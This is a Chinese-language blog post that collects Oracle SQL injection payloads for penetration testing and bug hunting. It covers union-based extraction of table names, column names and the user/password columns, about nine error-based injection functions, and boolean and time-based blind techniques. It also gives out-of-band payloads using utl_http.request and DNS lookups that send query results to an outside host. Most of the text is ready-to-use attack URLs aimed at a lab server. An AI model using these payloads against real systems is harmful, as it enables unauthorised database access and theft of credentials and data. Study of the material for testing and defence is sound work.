最近遇到Oracle注入的測試越來越多,而且互聯網上oracle注入的總結較為少見,為了能夠快速的進行漏洞測試和挖掘,誕生了想要把之前學習的Oracle注入方式進行溫習和總結的想法,便寫下這一篇關於Oracle注入的總結,本文參考了Oracle官網,互聯網上各個前輩的博客以及各大paper。期待和師傅,前輩們的討論和交流。
本文中的user 的值是SQLINJECTION
基礎知識:
Oracle 使用查詢語句獲取數據時需要跟上表名,沒有表的情況下可以使用dual,dual是Oracle的虛擬表,用來構成select的語法規則,Oracle保證dual里面永遠只有一條記錄。
Oracle的數據類型是強匹配的(MYSQL有弱匹配的味道),所以在Oracle進行類似UNION查詢數據時候必須讓對應位置上的數據類型和表中的列的數據類型是一致的,也可以使用null代替某些無法快速猜測出數據類型的位置。
Oracle的單行注釋符號是--,多行注釋符號/**/。
【union 注入】
判斷列數:
' order by 3 --
判斷回顯位置:
' union select null,null,null from dual --
獲取數據庫版本信息:
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
獲取數據表名:
' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
獲取關鍵表中的列名:
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and column_name<>'SNAME' and rownum=1),null from dual --
獲取關鍵列中的字段數據:
' union select SNAME,SUSER,SPWD from T_USER --
(一)、Oracle 報錯注入:
進行測試或漏洞挖掘的時候發現出現了數據庫報錯信息,可以優先選擇報錯注入,使用報錯的方式將查詢數據的結果帶出到錯誤頁面中,使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算符,這樣的方式進行報錯注入(MYSQL僅使用函數報錯即可),常見的報錯函數見以下示例:
0x01 使用utl_inaddr.get_host_name()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_inaddr.get_host_name((select user from dual))--
0x02 使用ctxsys.drithsx.sn()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
0x03 使用XMLType()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--
0x04 使用dbms_xdb_version.checkin()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--
0x05 使用dbms_xdb_version.makeversioned()進報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--
0x06 使用dbms_xdb_version.uncheckout()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--
0x07 使用dbms_utility.sqlid_to_sqlhash()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--
0x08 使用ordsys.ord_dicom.getmappingxpath()進行報錯注入
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--
0x09 使用decode進行報錯注入,這種方式更偏向布爾型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --
(二)、Oracle 帶外通信獲取查詢結果的方法:
Oracle 帶外通信獲取查詢結果的方法,是參考自【
sql注入攻擊與防御】中的介紹,可以使用Oracle發送HTTP和DNS請求,並將查詢結果帶到請求中,然后監測外網服務器的HTTP和DNS日志,從日志中獲取查詢結果(此處並未對HTTP和DNS服務器搭建和配置進行介紹),通過這種方式將繁瑣的盲注轉換成可以直接簡便的獲取查詢結果的方式,相關函數和方法的使用見如下示例:
0x01 在外網搭建web服務器,並記錄請求的日志信息,然后使用utl_http.request()向外網主機發送http請求,請求便攜帶了查詢的結果信息。此處可以結合SSRF進行內網探測 ,或許這就是Oracle的ssrf?!
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --
0x02 利用utl_inaddr.get_host_address(),將查詢結果拼接到域名下,並使用DNS記錄解析日志,通過這種方式獲取查詢結果。
參考自【SQL注入攻擊與防御】
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual)is not null--
(三)、Oracle 布爾盲注:
在測試和漏洞挖掘中,並沒有出現數據庫報錯信息,使用測試語句進行測試發現只能通過頁面正常與否來判斷SQL語句是否執行了,這種情況需要使用布爾盲注,盲注可以使用ASCII(),substr()這種通用組合獲取數,如下是使用了個人覺得較為好用的盲注paylaod,在多次漏洞挖掘中均是使用這兩個payload,然后加上腳本編程獲取數據的,具體操作看如下示例:
0x01 使用decode函數進行布爾盲注,substr(user,1,1)是條件,'S'是要遍歷的位置,如果匹配便返回翻譯值1,否則使用默認值0
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
【decode的理解】
decode(條件,值1,翻譯值1,值2,翻譯值2,...值n,翻譯值n,缺省值)的理解如下:
if (條件==值1)
then
return(翻譯值1)
elsif (條件==值2)
then
return(翻譯值2)
......
elsif (條件==值n)
then
return(翻譯值n)
else
return(缺省值)
end if
注:其中缺省值可以是你要選擇的column name 本身,也可以是你想定義的其他值,比如Other等;
0x02 使用instr進行布爾盲注,(select user from dual)是查詢結果數據,instr會返回‘SQL’位置數據在,查詢結果中的位置,未找到便返回0,可以通過對‘SQL’位置進行遍歷和迭代,獲取到數據。類似MYSQL regexp注入的方法。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(instr((select user from dual),'SQL')) --
【instr函數的理解】
instr函數的使用,從一個字符串中查找指定子串的位置。例如:
SQL> select instr('abcdefgh','de') position from dual;
POSITION
----------
4
從1開始算 d排第四所以返回4
(四)、Oracle 時間盲注:
測試和漏洞挖掘中,通過頁面響應的狀態,這里指的是響應時間,通過這種方式判斷SQL是否被執行的方式,便是時間盲注;oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),這個也是通過SQLMAP源碼中發現的,而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這里的高耗時操作指的是,例如:(select count(*) from all_objects),對數據庫中大量數據進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然后通過這個方式來獲取數據。這種方式也適用於其他數據庫。
0x01 使用DBMS_PIPE.RECEIVE_MESSAGE()進行時間盲注
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
實際用法:
/SqlInjection/selcet?suser=1' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1&sname=1
【DBMS_PIPE.RECEIVE_MESSAGE的理解】
來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
0x02 使用decode()進時間盲注
(select count(*) from all_objects) 會花費更多是時間去查詢所有數據庫的條目,所以以這種方式進行時間判斷依據,這是一個騷氣的方式。(類比OWASP測試指南中老%%虎機的案例)
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
使用decode與DBMS_PIPE.RECEIVE_MESSAGE嵌套的方式進行時間盲注。
http://10.10.10.110:8080/SqlInjection/selcet?suser=1&sname=1'and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5) ,0) from dual) and '1'='1
小小總結:
Oracle注入平時接觸的機會較為少見,近期突然覺得對Oracle注入的測試變多了,所以對前輩們已提出的各種姿勢(感謝前輩們),以及自己遇到並測試過較為好用的payload進行總結,方便以后的測試,希望這篇文章可以讓那些對Oracle注入手無對策的朋友們有所收獲。